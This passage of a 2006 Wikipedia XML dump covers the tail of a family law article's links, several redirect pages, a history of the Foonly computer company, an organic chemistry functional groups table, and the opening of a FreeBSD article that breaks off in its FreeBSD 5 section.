For the [[Conflict of Laws]] elements dealing with transnational and interstate issues, see [[marriage (conflict)]], [[divorce (conflict)]] and [[nullity (conflict)]].

==See also==
*[[Algerian Family Code]]
*[[Family Court of Australia]]
**[[Australian family law]]
*[[Family law system in the UK]]
*[[Fathers' rights]]
*[[Law of the Family]]
*[[Marriage strike]]
*[[Same-Sex Marriage]]
*[[The Children Act]]
*Sir [[Morris Finer]] - Report on One Parent Familes

==Research==
* [http://www.cdc.gov/nchs/fastats/divorce.htm Current marriage and divorce rates statistics]
* [http://www.eleventhdistrictcourt.state.nm.us/stats/mckinley/dvcumulative.pdf Recent court report that indicates 86% of order of protections were awarded to females and 7% of these petitions were denied in the same forty-six month period]
* [http://www.stlouisfed.org/publications/re/1998/d/re1998d4.html Government banking report linking divorce to bankruptcy]
* [http://bible.gospelcom.net/passage/?search=Matt%2019:1-12;&amp;version=47;/ Christian Biblical law]

==Further reading==
* [http://marriage.rutgers.edu/Publications/Pub%20Whitehead%20Testimony%20Apr%2004.htm Testimony of Barbara DaFoe Whitehead, Ph.D, Co-Director, National Marriage Project Rutgers University, before US Senate Subcommitee]

==External links==

===USA===
* [http://www.abanet.org/family/home.html American Bar Association - Family Law Section]
* [http://www.law.yale.edu/rcw Representing Children Worldwide: How Children are Represented in Protective Proceedings (Yale Law Resource)]
* [http://www.law.cornell.edu/topics/topic2.html#family%20law LII resources on Family Law]
* [http://www.divorcereform.org/ Americans for Divorce Reform] -- Cultural and legislative efforts to reduce divorce	
* [http://www.ilnd.uscourts.gov/LEGAL/NewRules/locrules.htm  Federal Rules: U.S. District Court Northern Illinois]
* [http://www.state.il.us/court/SupremeCourt/Rules/Art_I/default.asp State Rules I: Illinois]
* [http://www.state.il.us/court/SupremeCourt/Rules/Art_II/default.asp State Rules II: Illinois]
* [http://www.cookcountycourt.org/rules/index.html Local Rules for Cook County]
* [http://www.cookcountyclerkofcourt.org/Forms/forms.htm Court Forms for Cook County]
* [http://divorce.travishubbard.net Common Sense Divorce and Custody Information] - Free information about divorce.
* [http://nafcj.org/ National Alliance for Family Court Justice] - Information on women losing custody of their children and mothers' rights

===Australia===
*[http://www.familycourt.gov.au Family Court of Australia Web Site]
*[http://www.austlii.edu.au/au/legis/cth/consol_act/fla1975114 The Family Law Act 1975]
*[http://www.austlii.edu.au/au/legis/cth/consol_act/csa1989294/ Child Support (Assessment) Act, 1989]
*[http://www.austlii.edu.au/au/legis/cth/consol_act/csaca1988427/ Child Support (Registration and Collection) Act 1988]

===England===
*[http://www.hmso.gov.uk/acts/acts1989/Ukpga_19890041_en_1.htm The Children Act 1989]
*[http://www.legislation.hmso.gov.uk/si/si1991/Uksi_19911247_en_1.htm Family Proceedings Rules]
*[http://www.jsboard.co.uk/family_law/fbb/mf_02.htm Judicial Studies Board Family Bench Book]
*[http://www.parental-alienation.info All of Dr. Lowenstein's publications on the PAS]

===Scotland===
* [http://www.hmso.gov.uk/acts/acts1995/Ukpga_19950036_en_1.htm Children (Scotland) Act 1995]
*[http://news.scotsman.com/scotland.cfm?id=150552005 Scottish Executive announcement], Wed [[9 February]] [[2005]].

[[Category:Divorce]][[Category:Family law|Family law]][[Category:Marriage]]

[[bg:Семейно право]]
[[de:Familienrecht]]
[[es:Derecho de familia]]
[[fr:Droit de la famille]]
[[he:דיני משפחה]]
[[nl:Personen- en familierecht]]
[[pl:Prawo rodzinne]]
[[pt:Direito de família]]
[[sl:Družinsko pravo]]
[[sv:Familjerätt]]</text>
    </revision>
  </page>
  <page>
    <title>Fractals</title>
    <id>10906</id>
    <revision>
      <id>15908696</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Fractal]]
</text>
    </revision>
  </page>
  <page>
    <title>Fractal Art</title>
    <id>10907</id>
    <revision>
      <id>15908697</id>
      <timestamp>2002-04-08T12:27:24Z</timestamp>
      <contributor>
        <username>Lee Daniel Crocker</username>
        <id>43</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Fractal art]]
</text>
    </revision>
  </page>
  <page>
    <title>Finite state machines</title>
    <id>10908</id>
    <revision>
      <id>15908698</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Finite state machine]]
</text>
    </revision>
  </page>
  <page>
    <title>Foonly</title>
    <id>10909</id>
    <revision>
      <id>41370147</id>
      <timestamp>2006-02-26T22:21:09Z</timestamp>
      <contributor>
        <username>Toresbe</username>
        <id>230918</id>
      </contributor>
      <comment>Fixed some formatting</comment>
      <text xml:space="preserve">{{cleanup-date|June 2005}}

'''Foonly''' was the company formed by [[Dave Poole]], one of the principal Super Foonly designers, and one of hackerdom's more colorful personalities.

The [[PDP-10]] successor was to have been built by the Super Foonly project at the [[Stanford Artificial Intelligence Laboratory]] along with a new [[operating system]]. (The name itself came from FOO NLI, an error message emitted by a PDP-10 assembler at SAIL meaning &quot;FOO is Not a Legal Identifier&quot;.) The intention was to leapfrog from the old [[Digital Equipment Corporation|DEC]] timesharing system SAIL was then running to a new generation, bypassing [[TENEX]] which at that time was the [[ARPANET]] standard. ARPA funding for both the Super Foonly and the new operating system was cut in 1974. Most of the design team went to DEC and contributed greatly to the design of the PDP-10 model KL10.

The first Foonly machine was the F-1 (a.k.a. Super Foonly), which was the computational engine used to create the graphics in the movie &quot;[[Tron]]&quot;. The F-1 was the fastest PDP-10 ever built, but only one was ever made. The effort drained Foonly of its financial resources, and the company turned towards building smaller, slower, and much less expensive machines. Unfortunately, these ran not the popular TOPS-20 but a TENEX variant called Foonex; this seriously limited their market. Also, the machines shipped were actually wire-wrapped engineering prototypes requiring individual attention from more than usually competent site personnel, and thus had significant reliability problems. Poole's legendary temper and unwillingness to suffer fools gladly did not help matters. By the time of the Jupiter project cancellation in 1983, Foonly's proposal to build another F-1 was eclipsed by the [[Mars computer|Mars]], and the company never quite recovered.
----
This article is based on one from the [[jargon file]]. The [[jargon file]] is in the public domain.

==External links==
*[http://vhost2.zfx.com/~dave/f1.html Dave's F1 page]
*[http://pdp10.nocrew.org/cpu/processors.html Lars Brinkman's table showing the F1 in perspective with other PDP-10 models]</text>
    </revision>
  </page>
  <page>
    <title>Federalist papers</title>
    <id>10910</id>
    <revision>
      <id>15908700</id>
      <timestamp>2002-03-31T05:44:36Z</timestamp>
      <contributor>
        <ip>12.255.158.77</ip>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#Redirect [[Federalist Papers]]</text>
    </revision>
  </page>
  <page>
    <title>Functional group</title>
    <id>10911</id>
    <revision>
      <id>39561305</id>
      <timestamp>2006-02-14T08:03:03Z</timestamp>
      <contributor>
        <ip>24.82.209.151</ip>
      </contributor>
      <comment>Suffix for esters</comment>
      <text xml:space="preserve">{{otheruses}}

In [[organic chemistry]] '''functional groups''' are specific groups of [[atom]]s within [[molecule]]s, that  are responsible for the characteristic [[chemical reaction]]s of those molecules.  The same functional group will undergo the same or similar chemical reaction(s) regardless of the size of the molecule it is a part of.

The following is a list of common functional groups. In the formulas, the symbols R and R' denote any group of atoms.  Below is an image of multiple functional groups found in organic chemistry.

&lt;table border=1 bordercolor=black cellspacing=0 cellpadding=2&gt;
&lt;tr&gt;
&lt;th align=center bgcolor=&quot;#F5F2E9&quot;&gt;Chemical class&lt;/th&gt;
&lt;th align=center bgcolor=&quot;#F5F2E9&quot;&gt;Group&lt;/th&gt;
&lt;th align=center bgcolor=&quot;#F5F2E9&quot;&gt;Formula&lt;/th&gt;
&lt;th align=center bgcolor=&quot;#F5F2E9&quot;&gt;Graphical Formula&lt;/th&gt;
&lt;th align=center bgcolor=&quot;#F5F2E9&quot;&gt;Prefix&lt;/th&gt;
&lt;th align=center bgcolor=&quot;#F5F2E9&quot;&gt;Suffix&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;[[Alcohol]]&lt;/td&gt;
&lt;td align=center&gt;[[Hydroxyl]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;OH&lt;/td&gt;
&lt;td align=center&gt;[[Image:Hydroxyl.png|Hydroxyl]]&lt;/td&gt;
&lt;td align=center&gt;hydroxy-&lt;/td&gt;
&lt;td align=center&gt;-ol&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;[[Alkanes]]&lt;/td&gt;
&lt;td align=center&gt;[[Methyl]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;CH&lt;sub&gt;3&lt;/sub&gt;&lt;/td&gt;
&lt;td align=center&gt;[[Image:Methyl.png|Methyl]]&lt;/td&gt;
&lt;td align=center&gt;methyl- (''similarly for higher alkyl substituents:'' ethyl, propyl, butyl, ''etc.'')&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;[[Alkenes]]&lt;/td&gt;
&lt;td align=center&gt;[[Vinyl]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;CH=CH&amp;minus;R'&lt;/td&gt;
&lt;td align=center&gt;[[Image:Alkene.png|Alkene]]&lt;/td&gt;
&lt;td align=center&gt;''convert the part substituting for '''alk''' in the name of the'' alkane ''into the '''alk''' of the word'' alkene: '''eth'''ane/'''eth'''ene, '''prop'''ane/'''prop'''ene, '''but'''ane/'''but'''ene, ''etc.''&lt;/td&gt;
&lt;td align=center&gt;-ene&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;[[Alkynes]]&lt;/td&gt;
&lt;td align=center&gt;[[Alkyne]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;C&amp;equiv;C&amp;minus;R'&lt;/td&gt;
&lt;td align=center&gt;[[Image:Alkyne.png|Alkyne]]&lt;/td&gt;
&lt;td align=center&gt;''convert the part substituting for '''alk''' in the name of the'' alkane ''into the '''alk''' of the word'' alkyne: '''eth'''ane/'''eth'''yne, '''prop'''ane/'''prop'''yne, '''but'''ane/'''but'''yne, ''etc.''&lt;/td&gt;
&lt;td align=center&gt;-yne&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;Amide&lt;/td&gt;
&lt;td align=center&gt;[[Amide]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;C(=O)N(&amp;minus;H)&amp;minus;R'&lt;/td&gt;
&lt;td align=center&gt;[[Image:Amide.png|Amide]]&lt;/td&gt;
&lt;td align=center&gt;''name according to the parent amine and acid, respectively:'' '''alkyl alkanamide'''&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center rowspan=3&gt;Amines&lt;/td&gt;
&lt;td align=center&gt;[[primary Amine]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;NH&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt;
&lt;td align=center&gt;[[Image:Amine.png|Amine]]&lt;/td&gt;
&lt;td align=center&gt;amino-&lt;/td&gt;
&lt;td align=center&gt;-amine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;[[secondary Amine]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;N(&amp;minus;H)&amp;minus;R'&lt;/td&gt;
&lt;td align=center&gt;&lt;/td&gt;
&lt;td align=center&gt;amino-&lt;/td&gt;
&lt;td align=center&gt;-amine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;[[tertiary Amine]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;N(&amp;minus;R')&amp;minus;R&lt;/td&gt;
&lt;td align=center&gt;&lt;/td&gt;
&lt;td align=center&gt;amino-&lt;/td&gt;
&lt;td align=center&gt;-amine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;Azo&lt;/td&gt;
&lt;td align=center&gt;[[Azo compound|Azo]]&lt;/td&gt;
&lt;td align=center&gt;R-N=N-R'&lt;/td&gt;
&lt;td align=center&gt;[[Image:Azo.png|Azo.pngl]]&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;&amp;#12288;&lt;/td&gt;
&lt;td align=center&gt;[[Nitrile]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;C&amp;equiv;N&lt;/td&gt;
&lt;td align=center&gt;[[Image:Nitrile.png|Nitrile]]&lt;/td&gt;
&lt;td align=center&gt;cyano-&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;&amp;#12288;&lt;/td&gt;
&lt;td align=center&gt;[[Nitro functional group|Nitro]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;NO&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt;
&lt;td align=center&gt;[[Image:Nitro.png|Nitro]]&lt;/td&gt;
&lt;td align=center&gt;nitro-&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;&amp;#12288;&lt;/td&gt;
&lt;td align=center&gt;[[Nitroso]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;N=O&lt;/td&gt;
&lt;td align=center&gt;[[Image:Nitroso.png|Nitroso]]&lt;/td&gt;
&lt;td align=center&gt;nitroso-&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;&amp;#12288;&lt;/td&gt;
&lt;td align=center&gt;[[Pyridyl]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;C&lt;sub&gt;5&lt;/sub&gt;H&lt;sub&gt;4&lt;/sub&gt;N&lt;/td&gt;
&lt;td align=center&gt;[[Image:Pyridyl.png|Pyridyl]]&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;[[Carboxylic acid]]&lt;/td&gt;
&lt;td align=center&gt;[[Carboxyl]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;C(=O)OH
&lt;sup&gt;''non-ionized''&lt;/sup&gt;&lt;br&gt;

R&amp;minus;C(=O)O&lt;sup&gt;&amp;minus;&lt;/sup&gt;&lt;br&gt;
&lt;sup&gt;''ionized''&lt;/sup&gt;
&lt;/td&gt;
&lt;td align=center&gt;[[Image:Carboxyl.png|Carboxyl]]&lt;/td&gt;
&lt;td align=center&gt;carboxy-&lt;/td&gt;
&lt;td align=center&gt;-oic acid&lt;/td&gt;
&lt;/tr&gt;
&lt;td align=center&gt;[[Peroxide]]&lt;/td&gt;
&lt;td align=center&gt;[[Peroxy]]&lt;/td&gt;
&lt;td align=center&gt;R-O-O-R&lt;/td&gt;
&lt;td align=center&gt;[[Image:Peroxy.png|Peroxy]]&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;tr&gt;
&lt;td align=center rowspan=&quot;2&quot;&gt;[[Carbonyl]]&lt;/td&gt;
&lt;td align=center&gt;[[Aldehyde]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;C(=O)H&lt;/td&gt;
&lt;td align=center&gt;[[Image:Aldehyde.png|Aldehyde]]&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;td align=center&gt;-al&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;[[Ketone]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;C(=O)&amp;minus;R'&lt;/td&gt;
&lt;td align=center&gt;[[Image:Ketone.png|Ketone|100px]]&lt;/td&gt;
&lt;td align=center&gt;keto-&lt;/td&gt;
&lt;td align=center&gt;-one&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center rowspan=2&gt;[[Imine]]&lt;/td&gt;
&lt;td align=center&gt;[[primary Imine]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;C(=NH)&amp;minus;R'&lt;/td&gt;
&lt;td align=center&gt;&lt;/td&gt;
&lt;td align=center&gt;imino-&lt;/td&gt;
&lt;td align=center&gt;-imine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;[[secondary Imine]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;C(&amp;minus;H)=N&amp;minus;R'&lt;/td&gt;
&lt;td align=center&gt;[[Image:Imine.png|Imine]]&lt;/td&gt;
&lt;td align=center&gt;imino-&lt;/td&gt;
&lt;td align=center&gt;-imine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;Ether&lt;/td&gt;
&lt;td align=center&gt;[[Ether]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;O&amp;minus;R'&lt;/td&gt;
&lt;td align=center&gt;[[Image:Ether.png|Ether]]&lt;/td&gt;
&lt;td align=center&gt;''named according to the parent alcohols, respectively:'' '''alkyl alkyl ether'''&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;Ester&lt;/td&gt;
&lt;td align=center&gt;[[Ester]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;C(=O)O&amp;minus;R'&lt;/td&gt;
&lt;td align=center&gt;[[Image:Ester.png|Ester|100px]]&lt;/td&gt;
&lt;td align=center&gt;''named according to the parent alcohol and acid, respectively:'' '''alkyl alkanoate'''&lt;/td&gt;
&lt;td align=center&gt;-oate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;Halogens&lt;/td&gt;
&lt;td align=center&gt;[[Halogen]]&lt;/td&gt;
&lt;td align=center&gt;F,Cl,Br,etc.&lt;/td&gt;
&lt;td align=center&gt;&lt;/td&gt;
&lt;td align=center&gt;fluoro-, chloro-, bromo-, or iodo- (also halo- for general)&lt;/td&gt;
&lt;td align=center&gt;(hal)ide&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center rowspan=2&gt;Isocyanates&lt;/td&gt;
&lt;td align=center&gt;[[Isocyanate]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;N=C=O&lt;/td&gt;
&lt;td align=center&gt;[[Image:Isocyanate.png|Isocyanate]]&lt;/td&gt;
&lt;td align=center&gt;'''alkyl isocyanate'''&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;[[Isothiocyanate]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;N=C=S&lt;/td&gt;
&lt;td align=center&gt;[[Image:Isothiocyanate.png|Isothiocyanate]]&lt;/td&gt;
&lt;td align=center&gt;'''alkyl isothiocyanate'''&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;Phenyl&lt;/td&gt;
&lt;td align=center&gt;[[Phenyl]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;&lt;/td&gt;
&lt;td align=center&gt;[[Image:Phenyl.png|Phenyl]]&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;Benzyl&lt;/td&gt;
&lt;td align=center&gt;[[Benzyl]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;CH&lt;sub&gt;2&lt;/sub&gt;&amp;minus;C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;&lt;/td&gt;
&lt;td align=center&gt;[[Image:Benzyl.png|Benzyl]]&lt;/td&gt;
&lt;td align=center&gt;benzyl&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;&amp;#12288;&lt;/td&gt;
&lt;td align=center&gt;[[Phosphodiester bonds|Phosphodiester]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;OP(=O)(&amp;minus;OH)O&amp;minus;R'&lt;/td&gt;
&lt;td align=center&gt;[[Image:Phosphodiester.png|Phosphodiester]]&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;[[Thiol]]&lt;/td&gt;
&lt;td align=center&gt;[[Thiol|Sulfhydryl]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;SH&lt;/td&gt;
&lt;td align=center&gt;[[Image:Sulfhydryl.png|Sulfhydryl]]&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;td align=center&gt;-thiol&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=center&gt;&amp;#12288;&lt;/td&gt;
&lt;td align=center&gt;[[Thioether]]&lt;/td&gt;
&lt;td align=center&gt;R&amp;minus;S&amp;minus;R'&lt;/td&gt;
&lt;td align=center&gt;[[Image:Thioether.png|Thioether]]&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;td align=center&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

Combining the names of functional groups with the names of the parent [[alkane]]s generates a powerful [[systematic name|systematic nomenclature]] for naming [[organic compound]]s.

The non-hydrogen atoms of functional groups are always associated with each other and with the rest of the molecule by [[covalent bond]]s. When the group of atoms is associated with the rest of the molecule primarily by ionic forces, the group is referred to more properly as a [[polyatomic ion]] or [[complex ion]]. And all of these are called [[radical (chemistry)|radical]]s, by a meaning of the term ''radical'' that predates the [[free radical]].

The first carbon after the carbon that attaches to the functional group is called the [[alpha carbon]].

== External links ==

* [http://www.iupac.org/reports/provisional/abstract04/RB-prs310804/TableVII-3.04.pdf IUPAC ligand abbreviations] (pdf)

[[Category:Functional groups| ]]
[[Category:Organic chemistry]]
[[Category:Organic compounds]]

[[ar:مجموعة فعالة]]
[[ca:Grup funcional]]
[[de:Funktionelle Gruppe]]
[[es:Grupo funcional]]
[[eo:Funkcia grupo]]
[[fr:Groupe fonctionnel]]
[[ko:작용기]]
[[it:Gruppo funzionale]]
[[he:קבוצה פונקציונלית]]
[[nl:Functionele groep]]
[[ja:基]]
[[pl:Grupa funkcyjna]]
[[pt:Grupo funcional]]
[[fi:Funktionaalinen ryhmä]]
[[th:หมู่ฟังก์ชัน]]
[[vi:Nhóm chức]]
[[zh:官能团]]</text>
    </revision>
  </page>
  <page>
    <title>FreeBSD</title>
    <id>10912</id>
    <revision>
      <id>41982941</id>
      <timestamp>2006-03-03T01:03:59Z</timestamp>
      <contributor>
        <username>Zak.l</username>
        <id>575303</id>
      </contributor>
      <comment>/* Derivatives */</comment>
      <text xml:space="preserve">&lt;!-- 
Release version update? Don't edit this page, just click on the version number!
--&gt;
{| class=&quot;infobox&quot; cellspacing=&quot;5&quot; style=&quot;width: 24em; font-size: 90%;&quot;
! colspan=&quot;2&quot; | &lt;big&gt;FreeBSD&lt;/big&gt;
|-
| colspan=&quot;2&quot; style=&quot;text-align:center;&quot; | [[Image:FreeBSD-logo with text.png|285px|The Power To Serve]]&lt;br/&gt;[[Image:FreeBSD.png|280px|Screenshot of FreeBSD terminal]]&lt;br /&gt;FreeBSD welcome screen
|- valign=&quot;top&quot;
| '''[[Software company|Company]]/[[Software developer|developer]]:'''
| The FreeBSD &lt;br /&gt;Project
|- valign=&quot;top&quot;
| '''OS family:'''
| BSD
|- valign=&quot;top&quot;
| '''Source model:'''
| [[Free software]]
|- class=&quot;plainlinks&quot;
|'''Stable release:'''
| &lt;span style=&quot;white-space:nowrap;&quot;&gt;{{Latest_stable_release/{{PAGENAME}}}} &lt;sub&gt;[[{{SERVER}}{{localurl:Template:Latest_stable_release/{{PAGENAME}}|action=edit&amp;preload=Template:LSR/syntax}} +/-]]&lt;/sub&gt;&lt;/span&gt;
|- class=&quot;plainlinks&quot;
|'''Preview release:'''
| &lt;span style=&quot;white-space:nowrap;&quot;&gt;{{Latest_preview_release/{{PAGENAME}}}} &lt;sub&gt;[[{{SERVER}}{{localurl:Template:Latest_preview_release/{{PAGENAME}}|action=edit&amp;preload=Template:LPR/syntax}} +/-]]&lt;/sub&gt;&lt;/span&gt;
|- valign=&quot;top&quot;
|'''Kernel type:'''
| [[Monolithic kernel]]
|- valign=&quot;top&quot;
|'''[[Software license|License]]:'''
| [[BSD license]]
|- valign=&quot;top&quot;
|'''Working state:'''
| Current
|- valign=&quot;top&quot;
|'''[[Website]]:'''
| [http://www.freebsd.org/ www.freebsd.org]
|}
'''FreeBSD''' is a [[Unix-like]] [[free software]]  [[operating system]] descended from AT&amp;T UNIX via the [[Berkeley Software Distribution]] (BSD) branch through [[386BSD]] and [[Berkeley Software Distribution | 4.4BSD]]. It runs on [[central processing unit|processor]]s compatible with the [[X86|Intel x86 family]], as well as on the [[DEC Alpha]], the [[SPARC|UltraSPARC]] processors by [[Sun Microsystems]], the [[Itanium]] (IA-64), [[AMD64]] and [[PowerPC]] processors. It also runs on the [[PC-9801|PC-98]] architecture. Support for the [[ARM architecture|ARM]] and [[MIPS]] architectures are in development.

FreeBSD is developed together as an entire operating system.  The [[kernel (computer science)|kernel]], all of the expected [[userland]] utilities such as the [[Operating system shell|shell]] and the [[device driver]]s are held in the same [[source code]] [[version control system|revision tracking]] tree ([[Concurrent Versions System|CVS]]). This is in contrast to [[Linux]], a similar and more well known free Unix-clone, which is developed as a kernel by one group, userland utilities by others such as the [[GNU]] project, and put together with applications into [[Linux distributions|distributions]] that package all the parts together by others. As an operating system, FreeBSD is generally regarded as quite reliable and robust, and of the operating systems that accurately report [[uptime]] remotely [http://uptime.netcraft.com/up/accuracy.html#whichos], FreeBSD is the most common free operating system listed in Netcraft's list [http://uptime.netcraft.com/up/today/top.avg.html] of the 50 [[web server]]s with longest uptime.  A long uptime also indicates that no kernel updates have been deemed necessary, as installing a new [[Kernel (computer science)|kernel]] requires a reboot and resets the uptime counter of the system.

== History and development ==
[[Image:BSD-daemon-rendering.png|thumb|right|100px|[[BSD Daemon]] rendition]]

Initial [[software development|development]] of FreeBSD was started in [[1993]], and took its sources from [[386BSD]]. However, due to concerns about the legality of all the sources used in 386BSD, FreeBSD re-engineered much of the system with the FreeBSD 2.0 release in January of [[1995]] using the 4.4BSD-Lite release from the [[University of California, Berkeley]].  The [http://www.FreeBSD.org/doc/en_US.ISO8859-1/books/handbook/ FreeBSD Handbook] includes more [http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/history.html historical information about the genesis of FreeBSD].

Initially FreeBSD employed the [[BSD Daemon]] as its logo, but in 2005 a [http://logo-contest.freebsd.org/ competition] for a new logo was arranged. On [[October 8]] [[2005]], the competition finished leaving the design by Anton K. Gural as the new FreeBSD logo.  As always, the BSD Daemon is the FreeBSD Project mascot.

== FreeBSD 5 development and changes ==

The last FreeBSD release before 6.x series is 5.4 [http://www.freebsd.org/releases/5.4R/announce.html] (released on May [[2005]]). FreeBSD [[software developer|developer]]s maintain (at least) two branches of simultaneous development: a ''-STABLE'' branch of FreeBSD, from which releases are cut about once every 4-6 months. The latest ''4-STABLE'' release of FreeBSD is 4.11, this is the last of 4-STABLE releases. The first ''5-STABLE'' release was 5.3. The last ''5-STABLE'' release will be 5.5. The first ''6-STABLE'' release was 6.0.
The development branch, ''-CURRENT'', contains aggressive new kernel and userspace features. If a feature gets stable and mature it is eventually [[backport]]ed (&quot;MFC&quot; - Merge from CURRENT in the FreeBSD developer slang) to the STABLE branch.  FreeBSD's development model is described in-depth in
[http://www.freebsd.org/doc/en_US.ISO8859-1/books/dev-model/ an article by Niklas Saers].

The big difference in FreeBSD 5 was a major change in the low-level kernel locking mechanisms to enable better symmetric multiprocessor (SMP) support, releasing much of the kernel from the ''GIANT'' lock, sometimes referred to as ''Big Kernel Lock''.  It is now possible for more than one process to execute in kernel mode at the same time. 

Other major changes include an ''m'':''n'' threading solution called [[Kernel Scheduled Entities|KSE]] which is now the default threading (pthreads) library, starting with 5.3 (the creation of the 5-STABLE branch).  The terminology ''m'':''n'', where ''m'' and ''n'' are small positive integers, implies that ''m'' userland threads correspond to ''n'' kernel threads.  Many other new features are [[security]] related. The [[TrustedBSD]] project was formed by [[Robert Watson]] for the express purpose of adding trusted operating system functionality to the FreeBSD operating system. An extensible [[mandatory access control]] framework (the TrustedBSD MAC Framework), filesystem [[Access Control List]]s (ACLs) and the new [[UFS2]] filesystem all came from TrustedBSD. Some of the TrustedBSD functionality has been integrated into the [[NetBSD]] and [[OpenBSD]] operating systems as well. 

